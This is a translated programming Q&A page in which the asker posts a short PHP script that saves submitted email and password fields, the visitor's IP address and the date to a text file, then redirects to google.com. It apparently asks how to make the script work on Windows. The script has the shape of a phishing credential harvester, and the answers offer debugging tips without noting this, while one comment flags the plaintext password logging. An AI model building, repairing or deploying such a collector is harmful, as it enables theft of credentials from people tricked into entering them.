【问题标题】:PHP will only write part of data to .txt filePHP 只会将部分数据写入 .txt 文件
【发布时间】:2012-05-05 11:22:20
【问题描述】:

我以前在 linux 机器上使用过这个脚本,我知道它可以工作,但是当我在新的 windows server 2003 服务器上使用它时,它就不能工作。过去我通过 chmodding 文件到 777 解决了这个问题,但你不能在 windows 上这样做。

代码如下:

<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>

它为 box1 和 box2 数据输出一个空白,但仍将 IP 和日期记录到 .txt 文件中。请给点建议?

【问题讨论】:

  • 什么header("Location:http://google.com"); ?
  • 为什么是花括号?另外,设置error_reporting(E_ALL); 并查看你得到的错误。一般说明:您正在将明文密码写入文本文件。你不应该那样做。
  • 尝试使用二进制标志 fopen,fopen("list.txt", "ab");

标签: php windows-server-2003


【解决方案1】:

显然变量$_POST['box1']$_POST['box2'] 没有设置或设置为空字符串。然后将其保存到文件中。

PHP 实际上对变量非常严格,它只会获取它们的值,而不是其中的预期值,而实际上只是在其中。

监控请求并验证提交了哪些数据,以便验证您使用的是正确的变量。

【讨论】:

    【解决方案2】:

    也许你的 $_POST 是空的?

    由于编码类型的问题,我已经看到了这一点 - 然后读取 file_get_contents 是一个不错的解决方案。

    $postData = file_get_contents('php://input');
    

    如果探针是 $_POST 是空的还是其他东西不好,这将回答这个问题。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2013-10-03
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多